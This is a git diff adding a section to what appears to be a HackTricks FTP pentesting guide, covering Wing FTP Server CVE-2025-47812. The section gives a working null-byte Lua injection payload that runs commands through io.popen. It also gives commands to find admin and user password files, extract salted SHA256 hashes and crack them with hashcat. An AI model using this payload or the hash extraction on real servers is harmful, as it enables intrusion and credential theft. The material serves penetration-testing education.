diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 00bda80b765..e3beaa89f46 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -133,6 +133,65 @@ ftp://anonymous:anonymous@10.10.10.98 Note that if a **web application** is sending data controlled by a user **directly to a FTP server** you can send double URL encode `%0d%0a` (in double URL encode this is `%250d%250a`) bytes and make the **FTP server perform arbitrary actions**. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http). + +### Wing FTP Server (web client RCE + credential recovery) + +If the **HTTP interface** returns a header like `Server: Wing FTP Server(Free Edition)` or the footer exposes **`v7.4.3` / `< 7.4.4`**, test the **web client**, not only TCP/21. In some deployments **`anonymous`** with a blank password works in the web login too, which is important because **CVE-2025-47812** is exploitable with any valid account, including anonymous when enabled. + +**Bug class:** the web login validates the username only **up to `\0`**, but the **full submitted value** is later written into the user **Lua session file**. Wing FTP stores session state as code such as: + +```lua +_SESSION['username']=[[]] +_SESSION['ipaddress']=[[127.0.0.1]] +``` + +If the username starts with a valid account and then injects a value like `anonymous\0]] ... --`, the long string closes and attacker-controlled Lua is executed when the session cookie is reused on pages like `/dir.html`: + +```lua +anonymous\0]] +local h = io.popen("id") +print(h:read("*a")) +h:close() +-- +``` + +- Prefix before `\0` passes authentication (`anonymous`, real user, or admin). +- `]]` closes `_SESSION['username']=[[...]]`. +- `io.popen()` gives command execution as the **Wing FTP service account** (**root/SYSTEM by default** in many real installs). +- `--` comments the trailing `]]` appended by Wing FTP. + +#### Wing FTP post-exploitation: file-based hashes + +Wing FTP often stores users and admins in **XML** below the install `Data/` directory, commonly: + +```bash +Data/_ADMINISTRATOR/admins.xml +Data/1/users/*.xml +``` + +Useful checks after landing on the host: + +```bash +find /opt/wftpserver/Data -name '*.xml' | xargs grep -i -e '' -e 'EnableSHA256' -e 'EnablePasswordSalting' -e 'SaltingString' +``` + +If the config shows: + +```xml +1 +1 +WingFTP +``` + +passwords are stored as **`SHA256(password + salt)`**. A quick formatter for Hashcat mode **`1410`** (`sha256($pass.$salt)`) is: + +```bash +grep -r "" /opt/wftpserver/Data | sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)]+>.*#\1:\2:WingFTP#' > wingftp.hashes +hashcat -m 1410 --user wingftp.hashes +``` + +This is especially useful when **application users map to local OS users** and password reuse gives **SSH** or `su` access. + ## Download all files from FTP ```bash @@ -288,5 +347,9 @@ Entry_7: ## References - [Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns](https://research.checkpoint.com/2026/inside-gobruteforcer-ai-generated-server-defaults-weak-passwords-and-crypto-focused-campaigns/) +- [0xdf - HTB WingData: Wing FTP Null-Byte Lua RCE, Hash Cracking, and Python tarfile Privilege Escalation](https://0xdf.gitlab.io/2026/06/27/htb-wingdata.html) +- [RCE Security - What the null? Wing FTP Server RCE (CVE-2025-47812)](https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/) +- [NVD - CVE-2025-47812](https://nvd.nist.gov/vuln/detail/CVE-2025-47812) +- [Wing FTP help - User / Group settings](https://www.wftpserver.com/help/ftpserver/index.html?user__group.htm) {{#include ../../banners/hacktricks-training.md}}